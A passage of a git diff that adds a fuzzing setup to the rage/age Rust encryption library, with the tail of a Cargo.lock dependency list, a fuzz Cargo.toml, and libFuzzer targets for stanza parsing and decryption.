"97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "dashmap" +version = "6.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5041cc499144891f3790297212f32a74fb938e5136a14943f338ef9e0ae276cf" +dependencies = [ + "cfg-if", + "crossbeam-utils", + "hashbrown", + "lock_api", + "once_cell", + "parking_lot_core", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "find-crate" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59a98bbaacea1c0eb6a0876280051b892eb73594fd90cf3b20e9c817029c57d2" +dependencies = [ + "toml", +] + +[[package]] +name = "fluent" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb74634707bebd0ce645a981148e8fb8c7bccd4c33c652aeffd28bf2f96d555a" +dependencies = [ + "fluent-bundle", + "unic-langid", +] + +[[package]] +name = "fluent-bundle" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fe0a21ee80050c678013f82edf4b705fe2f26f1f9877593d13198612503f493" +dependencies = [ + "fluent-langneg", + "fluent-syntax", + "intl-memoizer", + "intl_pluralrules", + "rustc-hash", + "self_cell 0.10.3", + "smallvec", + "unic-langid", +] + +[[package]] +name = "fluent-langneg" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c4ad0989667548f06ccd0e306ed56b61bd4d35458d54df5ec7587c0e8ed5e94" +dependencies = [ + "unic-langid", +] + +[[package]] +name = "fluent-syntax" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a530c4694a6a8d528794ee9bbd8ba0122e779629ac908d15ad5a7ae7763a33d" +dependencies = [ + "thiserror", +] + +[[package]] +name = "futures" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-macro" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "hashbrown" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" + +[[package]] +name = "hkdf" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "i18n-config" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e88074831c0be5b89181b05e6748c4915f77769ecc9a4c372f88b169a8509c9" +dependencies = [ + "basic-toml", + "log", + "serde", + "serde_derive", + "thiserror", + "unic-langid", +] + +[[package]] +name = "i18n-embed" +version = "0.15.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7839d8c7bb8da7bd58c1112d3a1aeb7f178ff3df4ae87783e758ca3bfb750b7" +dependencies = [ + "arc-swap", + "fluent", + "fluent-langneg", + "fluent-syntax", + "i18n-embed-impl", + "intl-memoizer", + "lazy_static", + "log", + "parking_lot", + "rust-embed", + "thiserror", + "unic-langid", + "walkdir", +] + +[[package]] +name = "i18n-embed-fl" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6e9571c3cba9eba538eaa5ee40031b26debe76f0c7e17bafc97ea57a76cd82e" +dependencies = [ + "dashmap", + "find-crate", + "fluent", + "fluent-syntax", + "i18n-config", + "i18n-embed", + "lazy_static", + "proc-macro-error2", + "proc-macro2", + "quote", + "strsim", + "syn", + "unic-langid", +] + +[[package]] +name = "i18n-embed-impl" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f2cc0e0523d1fe6fc2c6f66e5038624ea8091b3e7748b5e8e0c84b1698db6c2" +dependencies = [ + "find-crate", + "i18n-config", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "inout" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5" +dependencies = [ + "generic-array", +] + +[[package]] +name = "intl-memoizer" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe22e020fce238ae18a6d5d8c502ee76a52a6e880d99477657e6acc30ec57bda" +dependencies = [ + "type-map", + "unic-langid", +] + +[[package]] +name = "intl_pluralrules" +version = "7.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "078ea7b7c29a2b4df841a7f6ac8775ff6074020c6776d48491ce2268e068f972" +dependencies = [ + "unic-langid", +] + +[[package]] +name = "io_tee" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b3f7cef34251886990511df1c61443aa928499d598a9473929ab5a90a527304" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libc" +version = "0.2.161" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9489c2807c139ffd9c1794f4af0ebe86a828db53ecdc7fea2111d0fed085d1" + +[[package]] +name = "libfuzzer-sys" +version = "0.1.0" +source = "git+https://github.com/rust-fuzz/libfuzzer-sys.git#35ce7d7177c254b9c798aec171dfe76877d1a20f" +dependencies = [ + "arbitrary", + "cc", +] + +[[package]] +name = "lock_api" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24" + +[[package]] +name = "memchr" +version = "2.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "once_cell" +version = "1.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "parking_lot" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets", +] + +[[package]] +name = "pbkdf2" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2" +dependencies = [ + "digest", + "hmac", +] + +[[package]] +name = "pin-project" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be57f64e946e500c8ee36ef6331845d40a93055567ec57e8fae13efd33759b95" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c0f5fad0874fc7abcd4d750e76917eaebbecaa2c20bde22e1dbeeba8beb758c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915a1e146535de9163f3987b8944ed8cf49a18bb0056bcebcdcece385cece4ff" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "poly1305" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" +dependencies = [ + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77957b295656769bb8ad2b6a6b09d897d94f05c41b069aede1fcdaa675eaea04" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "proc-macro-error-attr2" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5" +dependencies = [ + "proc-macro2", + "quote", +] + +[[package]] +name = "proc-macro-error2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802" +dependencies = [ + "proc-macro-error-attr2", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f139b0662de085916d1fb67d2b4169d1addddda1919e696f3252b740b629986e" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b6dfecf2c74bce2466cabf93f6664d6998a69eb21e39f4207930065b27b771f" +dependencies = [ + "bitflags", +] + +[[package]] +name = "rust-embed" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa66af4a4fdd5e7ebc276f115e895611a34739a9c1c01028383d612d550953c0" +dependencies = [ + "rust-embed-impl", + "rust-embed-utils", + "walkdir", +] + +[[package]] +name = "rust-embed-impl" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6125dbc8867951125eec87294137f4e9c2c96566e61bf72c45095a7c77761478" +dependencies = [ + "proc-macro2", + "quote", + "rust-embed-utils", + "syn", + "walkdir", +] + +[[package]] +name = "rust-embed-utils" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e5347777e9aacb56039b0e1f28785929a8a3b709e87482e7442c72e7c12529d" +dependencies = [ + "sha2", + "walkdir", +] + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "salsa20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213" +dependencies = [ + "cipher", +] + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "scrypt" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0516a385866c09368f0b5bcd1caff3366aace790fcd46e2bb032697bb172fd1f" +dependencies = [ + "pbkdf2", + "salsa20", + "sha2", +] + +[[package]] +name = "secrecy" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a" +dependencies = [ + "zeroize", +] + +[[package]] +name = "self_cell" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e14e4d63b804dc0c7ec4a1e52bcb63f02c7ac94476755aa579edac21e01f915d" +dependencies = [ + "self_cell 1.0.4", +] + +[[package]] +name = "self_cell" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d369a96f978623eb3dc28807c4852d6cc617fed53da5d3c400feff1ef34a714a" + +[[package]] +name = "semver" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b" + +[[package]] +name = "serde" +version = "1.0.214" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f55c3193aca71c12ad7890f1785d2b73e1b9f63a0bbc353c08ef26fe03fc56b5" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.214" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de523f781f095e28fa605cdce0f8307e451cc0fd14e2eb4cd2e98a355b147766" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.87" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25aa4ce346d03a6dcd68dd8b4010bcb74e54e62c90c573f394c46eae99aba32d" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "thiserror" +version = "1.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d171f59dbaa811dbbb1aee1e73db92ec2b122911a48e1390dfe327a821ddede" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b08be0f17bd307950653ce45db00cd31200d82b624b36e181337d9c7d92765b5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tinystr" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f" +dependencies = [ + "displaydoc", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "type-map" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "deb68604048ff8fa93347f02441e4487594adc20bb8a084f9e564d2b827a0a9f" +dependencies = [ + "rustc-hash", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unic-langid" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23dd9d1e72a73b25e07123a80776aae3e7b0ec461ef94f9151eed6ec88005a44" +dependencies = [ + "unic-langid-impl", +] + +[[package]] +name = "unic-langid-impl" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a5422c1f65949306c99240b81de9f3f15929f5a8bfe05bb44b034cc8bf593e5" +dependencies = [ + "serde", + "tinystr", +] + +[[package]] +name = "unicode-ident" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e91b56cd4cadaeb79bbf1a5645f6b4f8dc5bde8834ad5894a8db35fda9efa1fe" + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "winapi-util" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb" +dependencies = [ + "windows-sys", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "x25519-dalek" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7e468321c81fb07fa7f4c636c3972b9100f0346e5b6a9f2bd0603a52f7ed277" +dependencies = [ + "curve25519-dalek", + "rand_core", + "serde", + "zeroize", +] + +[[package]] +name = "zerocopy" +version = "0.7.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0" +dependencies = [ + "byteorder", + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/lib/rage/fuzz/Cargo.toml b/lib/rage/fuzz/Cargo.toml new file mode 100644 index 0000000..c170966 --- /dev/null +++ b/lib/rage/fuzz/Cargo.toml @@ -0,0 +1,42 @@ + +[package] +name = "age-fuzz" +version = "0.0.0" +authors = ["Automatically generated"] +publish = false +edition = "2018" + +[package.metadata] +cargo-fuzz = true + +[dependencies] +cookie-factory = "0.3" + +[dependencies.age-core] +path = "../age-core" +[dependencies.age] +path = "../age" +[dependencies.libfuzzer-sys] +git = "https://github.com/rust-fuzz/libfuzzer-sys.git" + +# Prevent this from interfering with workspaces +[workspace] +members = ["."] + +[[bin]] +name = "age_stanza" +path = "fuzz_targets/age_stanza.rs" + +[[bin]] +name = "header" +path = "fuzz_targets/header.rs" + +[[bin]] +name = "decrypt" +path = "fuzz_targets/decrypt.rs" + +[[bin]] +name = "decrypt_buffered" +path = "fuzz_targets/decrypt_buffered.rs" +test = false +doc = false diff --git a/lib/rage/fuzz/fuzz_targets/age_stanza.rs b/lib/rage/fuzz/fuzz_targets/age_stanza.rs new file mode 100644 index 0000000..5857929 --- /dev/null +++ b/lib/rage/fuzz/fuzz_targets/age_stanza.rs @@ -0,0 +1,16 @@ +#![no_main] +use age_core::format::{read, write}; +use cookie_factory::gen; +use libfuzzer_sys::fuzz_target; + +fuzz_target!(|data: &[u8]| { + if let Ok((leftover, stanza)) = read::age_stanza(data) { + let mut buf = Vec::with_capacity(data.len()); + gen( + write::age_stanza(stanza.tag, &stanza.args, &stanza.body()), + &mut buf, + ) + .expect("can write to Vec"); + assert_eq!(buf, &data[0..data.len() - leftover.len()]); + } +}); diff --git a/lib/rage/fuzz/fuzz_targets/decrypt.rs b/lib/rage/fuzz/fuzz_targets/decrypt.rs new file mode 100644 index 0000000..637edc1 --- /dev/null +++ b/lib/rage/fuzz/fuzz_targets/decrypt.rs @@ -0,0 +1,12 @@ +#![no_main] +use libfuzzer_sys::fuzz_target; + +use std::iter; + +use age::Decryptor; + +fuzz_target!(|data: &[u8]| { + if let Ok(decryptor) = Decryptor::new(data) { + let _ = decryptor.decrypt(iter::empty()); + } +}); diff --git a/lib/rage/fuzz/fuzz_targets/decrypt_buffered.rs b/lib/rage/fuzz/fuzz_targets/decrypt_buffered.rs new file mode 100644 index 0000000..f23583d --- /dev/null +++ b/lib/rage/fuzz/fuzz_targets/decrypt_buffered.rs @@ -0,0 +1,12 @@ +#![no_main] +use libfuzzer_sys::fuzz_target; + +use std::iter; + +use age::Decryptor; + +fuzz_target!(|data: &[u8]| { + if let 